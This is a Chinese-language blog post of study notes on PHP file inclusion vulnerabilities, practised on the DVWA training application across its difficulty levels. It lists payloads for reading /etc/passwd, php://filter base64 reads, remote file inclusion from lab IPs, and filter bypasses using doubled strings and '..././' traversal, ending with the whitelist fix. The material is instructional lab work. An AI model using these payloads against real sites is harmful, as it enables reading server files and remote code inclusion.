DVWA-檔案包含學習筆記

雨中落葉發表於2019-05-19

DVWA-檔案包含學習筆記

一、檔案包含與漏洞

檔案包含:

  開發人員將相同的函式寫入單獨的檔案中,需要使用某個函式時直接呼叫此檔案,無需再次編寫,這種檔案呼叫的過程稱檔案包含。

檔案包含漏洞:

  開發人員為了使程式碼更靈活,會將被包含的檔案設定為變數,用來進行動態呼叫,從而導致客戶端可以惡意呼叫一個惡意檔案,造成檔案包含漏洞。

二、檔案包含漏洞用到的函式

require:找不到被包含的檔案,報錯,並且停止執行指令碼。

include:找不到被包含的檔案,只會報錯,但會繼續執行指令碼。

require_once:與require類似,區別在於當重複呼叫同一檔案時,程式只呼叫一次。

include_once:與include類似,區別在於當重複呼叫同一檔案時,程式只呼叫一次。

三、目錄遍歷與檔案包含的區別

  目錄遍歷是可以讀取web目錄以外的其他目錄,根源在於對路徑訪問許可權設定不嚴格,針對本系統。

  檔案包含是利用函式來包含web目錄以外的檔案,分為本地包含和遠端包含。

四、檔案包含特徵

?page=a.php
?home=b.html
?file=content

檢測方法

?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt

 

五、DVWA練習

1.修改php.ini配置檔案開啟檔案包含功能

allow_url_include = on

   

將DVWA的級別設定為low

1.分析原始碼,可以看到沒有對page引數做任何過濾

  

 本地檔案包含

2.嘗試利用檔案包含

2.1絕對路徑

  

檔案包含時,不管包含的檔案是什麼型別,都會優先嚐試當作php檔案執行,如果檔案內容有php程式碼,則會執行php程式碼並返回程式碼執行的結果,如果檔案內容沒有php程式碼,則把檔案內容列印出來

   

檔案內容沒有php程式碼,把檔案內容列印(顯示)到瀏覽器頁面

   

2.2相對路徑

  

3.使用php封裝協議讀取和寫入php檔案

3.1讀取檔案

php://filter/read=convert.base64-encode/resource=..././..././..././..././1.txt 訪問,可以看到顯示了base64編碼的內容

  

使用burpsuit的decode模組解碼

  

3.2寫入php檔案,下圖可以看到輸入的內容並返回結果

  

遠端檔案包含

1.通過http協議包含本地伺服器上的檔案

  

2.通過http協議包含遠端伺服器上的檔案

  

將DVWA的級別設定為medium

1.分析原始碼,可以看到使用str_replace函式對http://、https://、../ 、..\進行了過濾,但可以通過雙寫來繞過,或者使用絕對路徑來繞過

  

2.嘗試繞過

先使用http://192.168.10.130/1.txt 抓包分析,可以看到對http://做了過濾

  

使用雙寫繞過http://的過濾    htthttp://p://192.168.10.144/1.txt

  

使用..././..././..././..././..././..././..././ 繞過../的過濾

  

使用絕對路徑繞過

  

使用file協議繞過

  

將DVWA的級別設定為High

1.分析原始碼可以看到,如果$file變數中不含有file並且$file不等於include.php,此時伺服器才不會去包含檔案,兩個條件只要不滿足其中任意一個,就能達到檔案包含的目的,可以是同file協議來繞過

  

2.使用file協議繞過

  

將DVWA的級別設定為Impossible

1.分析原始碼可以看到,使用白名單,page只能為include.php”、“file1.php”、“file2.php”、“file3.php”之一,只允許包含include.php、file1.php、file2.php、file3.php,不能包含別的檔案,徹底杜絕檔案包含漏洞

  

 

相關文章